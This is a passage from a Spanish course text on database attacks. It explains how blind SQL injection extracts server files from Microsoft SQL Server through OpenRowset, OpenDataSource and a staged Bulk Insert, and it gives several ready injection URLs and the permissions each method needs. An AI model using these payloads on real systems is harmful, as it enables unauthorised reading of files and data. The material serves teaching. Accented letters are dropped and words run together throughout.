    Comprobar que la aplicacin es vulnerable a ataques de SQL injection.Para ello es preciso verificar que es posible realizar una inyeccin que noaltere los resultados que devuelve la aplicacin en su forma normal detrabajo, pero que demuestren la ejecucin de los comandos. Un ejemplo

  • CC-BY-NC-ND PID_00191663 43 Ataques a BB. DD., SQL Injection

    sera sustituir un valor numrico por la llamada a la funcin ABS(). Siobtenemos el mismo resultado significa que se est ejecutando la funcinABS, es decir, se puede inyectar cdigo SQL.

    Verificar si es posible realizar inyecciones que alteren el comportamientodurante la respuesta del sistema mediante inyecciones siempre verdaderase inyecciones siempre falsas, como se ha visto en las imgenes 1 a 3. Si esas entonces se concluye que la aplicacin es vulnerable a ataques BlindSQL Injection.

    Determinar una funcin error que permita distinguir cundo una inyec-cin provoca una respuesta denominada verdadera y cundo provoca unarespuesta falsa. En este punto las posibilidades dependen del tratamien-to de errores que se haya realizado en la aplicacin, siendo siempre posi-ble reducir la formulacin de la funcin error a una alternativa basada entiempos de respuesta. Este paso determina cmo se van a reconocer lasrespuestas verdaderas o falsas. Puede hacerse por una cadena que aparez-ca en la respuesta positiva que no aparezca en las respuestas negativas, oviceversa, o mirando el tiempo respuesta, o la estructura HTML o el hashde la pgina, etc. Es decir, reconocer las caractersticas de las pginas obte-nidas en respuestas positivas y las caractersticas de las pginas obtenidasen respuestas negativas.

    Seleccionar la estrategia a seguir para extraer ficheros del servidor. Existendos posibilidades respecto a las fuentes de datos a utilizar: utilizar fuen-tes de datos externas, es decir, invocar directamente el fichero desde cadaconsulta o hacer uso de las opciones de carga masiva, es decir, volcar el fi-chero a una tabla y descargarlo de la tabla. En ambos casos se establece unafuerte dependencia con el motor de la base de datos que se est utilizandoque hacen necesaria la determinacin de las funciones especficas a usar.

    Evaluar las limitaciones y entornos de permisos requeridos en cada caso.Ser necesario determinar qu privilegios son necesarios para poder utilizaren cada caso la fuente de datos seleccionada.

    Implementar el sistema de extraccin del fichero mediante un proceso debooleanizacin de datos.

    Para el resto del apartado, vamos a suponer que se ha comprobado que la webes vulnerable y sabemos reconocer la respuesta positiva o true de la respuestanegativa o false. Vamos a analizar, por tanto, cmo se realizara la descargaremota de ficheros en los distintos motores de bases de datos.

  • CC-BY-NC-ND PID_00191663 44 Ataques a BB. DD., SQL Injection

    4.4. Microsoft SQL Server 2000 y 2005 mediante fuentes de datosinfrecuentes

    Microsoft SQL Server permite utilizar fuentes de datos externas, o lo que es lomismo, orgenes de informacin fuera del motor Microsoft SQL Server a losque se pueda acceder mediante cualquier OLE DB Data Provider. Un OLE DBData Provider es un manejador de una fuente de informacin que oferta unainterfaz de acceso comn OLE DB a cualquier aplicacin que lo utilice. Estasfuentes externas pueden ser servidores de bases de datos remotos del mismo ode distintos fabricantes, o repositorios de informacin que van desde ficherosMicrosoft Excel, bases de datos Access, DBase, ficheros XML hasta ficheros detexto plano txt o separados por comas csv. De hecho, una fuente de datosexterna podr ser cualquier fuente de informacin accesible por un OLE DBData Provider que el servidor tenga cargada y se convertir en un OLE DB DataSource, es decir, en una fuente de datos externa accesible mediante un OLEDB Data Provider.

    El proceso de agregar fuentes de datos externas es una tarea de administracinque se ejecuta mediante el enlazado de estos orgenes. Este proceso se puederealizar utilizando la herramienta de administracin o bien con el uso del pro-cedimiento almacenado sp_addlinkedserver, sin embargo, Microsoft SQLServer permite realizar conexiones ad hoc a fuentes de datos externas infre-cuentes, es decir, a aquellos orgenes de datos a los que se accede en contadasocasiones. Para ello el lenguaje Transact-SQL de Microsoft SQL Server cuen-ta con dos comandos distintos. La funcin OpenRowSet, que va a permitiracceder a cualquier fuente externa que devuelva un conjunto de registros y lafuncin OpenDataSource, que permite lanzar una consulta sobre una fuentede datos externa enlazada ad hoc.

    En un entorno vulnerable a SQL Injection se permitira acceder a ficheros delservidor que pudieran ser accesibles por un OLE DB Data Provider, y extraerlomediante una tcnica de booleanizacin. Por ejemplo, para extraer los datosde un fichero c:\dir\target.txt en el servidor de bases de datos dondese ejecuta el motor Microsoft SQL Server utilizado por una aplicacin web vul-nerable y explotable por Blind SQL Injection podramos utilizar el un procesode booleanizacin sobre la siguiente inyeccin:

    http://server/app.cod?param=1 and 256 > (ASCII(Substr(select * from OpenRowset('MSDASQL',

    'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\External;','select top 1

    * from c:\dir\target.txt'),1,1))

    En este ejemplo la inyeccin carga la primera fila del fichero target.txt, sequeda con el valor ASCII de la primera letra y lo compara con el valor 256.Obviamente, es una comparacin que siempre dar true, pero ilustra cmo sedebe realizar el proceso de booleanizacin. Una vez descubierto el valor de laprimera letra, el proceso se repetira para las siguientes letras de la primera fila

  • CC-BY-NC-ND PID_00191663 45 Ataques a BB. DD., SQL Injection

    del fichero hasta que se llegue al final de la lnea, donde se debera repetir elmismo proceso para las siguientes lneas del fichero hasta obtenerse el ficherocompleto.

    En este caso, el driver Microsoft Text solo permite acceder a ficheros con ex-tensiones txt, csv o tab por lo que nunca se podra acceder conOpenRowSet u OpenDataSource a ficheros log, bak, old, o cualquier exten-sin distinta. Sin embargo, s que es posible acceder a datos almacenados enficheros Microsoft Office mdb, xls, o cualquier otro formato para el queel servidor tenga cargado un OLE DB Data Provider. Por ejemplo, para accedera los datos de un fichero Microsoft Excel a en un fichero Access almacenadoen el servidor, se podran realizar consultas como las siguientes:

    SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0','Excel 8.0; DATABASE=c:\Excel.xls',

    'Select * from [Libro1$]')

    SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Excel.xls";

    User ID=Admin; Password=;Extended properties=Excel 8.0')...Libro1

    SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0','Data Source="c:\ACCESS.mdb";

    User ID=Admin; Password=')...Tabla1

    SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'c:\Access.mdb';'admin';'', Tabla1)

    En todos estos casos, como se puede apreciar en las consultas, no es un accesodirecto al fichero sino a los datos almacenados en l y por tanto, es necesarioconocer informacin de la estructura de los datos. En los ejemplos se mues-tran datos de usuarios y contraseas, pero estos no seran necesarios si, comosucede en la gran mayora de las ocasiones, los ficheros de Microsoft Accessy Microsoft Excel no tienen habilitados explcitamente un usuario y una con-trasea.

    4.4.1. Restricciones y permisos para uso de fuentes de datosinfrecuentes

    En los ejemplos de la seccin anterior, para poder trabajar con OPENDA-TASOURCE y OPENROWSET es necesario que la clave de registro DisallowAd-hocAccess del proveedor que se va a utilizar est fijado a cero.

    Las claves de registro donde se configuran los proveedores, entre ellos el pro-veedor Microsoft.Jet.OLEDB.4.0 visto en los ejemplos, se encuentran en la ra-ma de registro si se trata de una instancia sin nombre:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers

    O en caso de que se trate de instancias con nombre, en:

  • CC-BY-NC-ND PID_00191663 46 Ataques a BB. DD., SQL Injection

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\\Providers

    Si la clave de registro no existe, el comportamiento vara segn los privilegiosdel usuario que se conecta a la base de datos, ya que si el usuario posee elrol server administrators tendr permitido el acceso, mientras que si por elcontrario el usuario no posee este rol tendr denegado el acceso.

    Por defecto, el proveedor Microsoft.Jet.OLEDB.4.0 no establece la clave de re-gistro DisallowAdhocAccess y por lo tanto, impedir el acceso a fuentes de datosexternas salvo que el usuario posea el rol server administrators.

    Estas son las nicas restricciones a la hora de utilizar OPENDATASOURCE yOPENROWSET, los permisos de acceso sobre los ficheros Microsoft Excel o Ac-cess vendrn determinados por los permisos del usuario que se le pase al pro-veedor OLE DB.

    En Microsoft SQL Server 2005 adems, el acceso a fuentes de datos externosesta desactivado por defecto como parte de la configuracin de seguridad. Paramodificar esta configuracin un administrador puede utilizar el procedimien-to almacenado sp_configure o la herramienta de administracin SurfaceArea Configuration for Features y habilitar las consultas ad hoc.

    Figura 30. Activacin de fuentes de datos infrecuentes en Microsoft SQLServer 2005

  • CC-BY-NC-ND PID_00191663 47 Ataques a BB. DD., SQL Injection

    4.4.2. Extraccin de ficheros

    Si se cumplen todos los requisitos necesarios del entorno, bastara aplicar unproceso de booleanizacin como el descrito en el apartado Blind SQL Injec-tion basndose en tiempos, mediante la inyeccin de una llamada al ficheroque se quiere acceder como si fuera una fuente de datos infrecuentes. As, lainyeccin SQL quedara de la siguiente forma:

    http://server/app.cod?param=1 and 256 > (ASCII(Substr(select * from OpenRowset('MSDASQL',

    'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from

    c:\dir\target.txt),1,1))

    Como se puede ver se est accediendo al fichero c:\dir\target.txt. Este sercargado entero como una nica cadena alfanumrica que va a ser recorridadurante el proceso de booleanizacin con la funcin substring. Cada carcterva a ser convertido a su valor ASCII y comparado con un ndice para averiguarel valor correcto. Una vez llegado al final del substring se habr terminado deacceder al fichero completo.

    4.5. Microsoft SQL Server 2000 mediante opciones de cargamasiva

    En Microsoft SQL Server 2000 se permite la carga de ficheros registros de unao varias tablas mediante las operaciones de carga masiva. Existen tres formasdistintas para realizar la carga masiva de datos desde ficheros:

    La primera opcin es utilizar el comando bcp a nivel del sistema operativo.

    La segunda opcin consiste en realizar un Insert desde una fuente dedatos cargada con OpenRowSet como se ha visto en el apartado anterior.

    La tercera mediante el uso del comando Bulk Insert. Esta ltima opcines la que un atacante puede utilizar para acceder a ficheros a los que nopuede acceder mediante el uso de fuentes de datos externas infrecuentespor no existir un OLE DB Data Provider para ellos.

    4.5.1. Restricciones y permisos

    Para la creacin de tablas es necesario tener como rol en la base de datosdb_owner o db_ddladmin, es decir, ser el propietario de la misma o tenerpermisos de administracin.

  • CC-BY-NC-ND PID_00191663 48 Ataques a BB. DD., SQL Injection

    Es cierto que es posible crear tablas temporales, visibles solo durante la sesinen curso (#TablaTemporal) o tablas temporales globales, visibles desde todaslas sesiones (##TablaTemporal), y que para la creacin de estas tablas no esnecesario poseer los roles de bases de datos db_owner y db_ddladmin.

    Sin embargo, a la hora de realizar bulk insert es necesario que el usuarioque ejecuta dicha sentencia, adems de poseer el rol de servidor bulkadmin,posea el rol a nivel de base de datos db_owner o db_ddladmin para poder insertarsobre la tabla, y por lo tanto el uso de tablas temporales no tiene sentido.

    En cuanto a la consideracin de a qu archivos se tiene acceso y a cules no,esto depende del perfil de seguridad del proceso SQL Server. Dado que el usua-rio es miembro de la funcin fija de servidor bulkadmin, el usuario tiene ac-ceso de lectura a todos aquellos archivos a los que el SQL Server puede accederaunque l no tuviese concedidos esos permisos.

    4.5.2. Proceso de la extraccin del fichero

    Son necesarias cinco fases para la extraccin del fichero del sistema operativo:

    La primera fase consistir en la creacin de una tabla temporal para alma-cenar los datos del fichero.

    Una segunda fase en la que el fichero se carga dentro de la tabla temporal.

    La tercera implica la creacin de una columna IDENTITY.

    Una cuarta fase de extraccin mediante la booleanizacin de los datos al-macenados en esa tabla.

    Una ltima fase para eliminar la tabla temporal creada dentro de la basede datos.

    1)Fase1: Creacin de una tabla temporal. En esta fase se utiliza el parmetroinyectable para lanzar una consulta de creacin de la tabla temporal comosigue:

    http://server/app.cod?param=1; Create Table TablaTemporal as (fila varchar(8000))--

    2)Fase2: Carga del fichero dentro de una tabla temporal. Se debe poder eje-cutar dentro del servidor un comando Bulk Insert. La inyeccin en un ser-vidor vulnerable sera como sigue:

    http://server/app.cod?param=1; Bulk Insert TablaTemporal From 'c:\fichero.ext' With

    (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n')--

  • CC-BY-NC-ND PID_00191663 49 Ataques a BB. DD., SQL Injection

    Como se puede apreciar en el ejemplo anterior, el comando Bulk inserttiene una serie de parmetros para indicar cules son los caracteres separadoresde campos y de fila. En este caso se ha utilizado el retorno de carro comocarcter delimitador de campo y de fila.

    3)Fase3: Creacin de una columna IDENTITY. Una vez cargado el contenidodel fichero sobre la tabla, se tiene una tabla con una sola columna y tantasfilas como lneas tuviese el fichero, para poder leer correctamente esta tablaen un proceso de booleanizacin sera necesario contar con un identificadornico para cada registro de la tabla.

    Para crear los identificadores nicos lo que se hace es aadir una columna detipo IDENTITY, configurada con valor de inicio 1 e incrementos unitarios, demodo que SQL Server 2000 se encarga de asignarle el valor numrico corres-pondiente a cada registro. La inyeccin en un servidor vulnerable sera:

    http://server/app.cod?param=1; alter table TablaTemporal add num int IDENTITY(1,1) NOT NULL--

    Es muy importante destacar que este paso es necesario hacerlo aqu, si se es-pecifica esta columna durante la creacin de la tabla en la fase 1, la carga delfichero sobre la misma no se realiza de forma correcta, por eso es necesarioaadir la columna una vez cargada la tabla con la informacin del fichero

    4)Fase4: Proceso de Booleanizacin. Como resultado de los pasos anterioresse tiene una tabla con dos columnas, cuyos registros se corresponden con laslneas del fichero que se ha ledo. Para poder descargar el fichero es necesariodeterminar cuntas filas tiene la tabla. Para determinar el nmero de registrosse utiliza Blind SQL Injection con un proceso de bsqueda binaria, la sentenciatipo a inyectar en un servidor vulnerable sera:

    http://server/app.cod?param =1 and (select COUNT(fila) from TablaTemporal) > 255 --

    Una vez fijado el nmero de registros que tiene la tabla, por cada uno de estosse calculara el nmero de caracteres de la columna fila, que seran los quehabra que leer mediante un proceso de booleanizacin. Siguiendo el ejemplovisto, la sentencia a inyectar en un servidor vulnerable para determinar el n-mero de caracteres de la primera lnea del fichero sera:

    http://server/app.cod?param=1 and (select top 1 len(fila) from TablaTemporal

    where num = 1) > 255 --

    De nuevo es necesario establecer un sistema de bsqueda binaria, para inferirla longitud del campo fila del registro, obsrvese que en esta sentencia se haceuso de la columna IDENTITY creada anteriormente, y que sirve para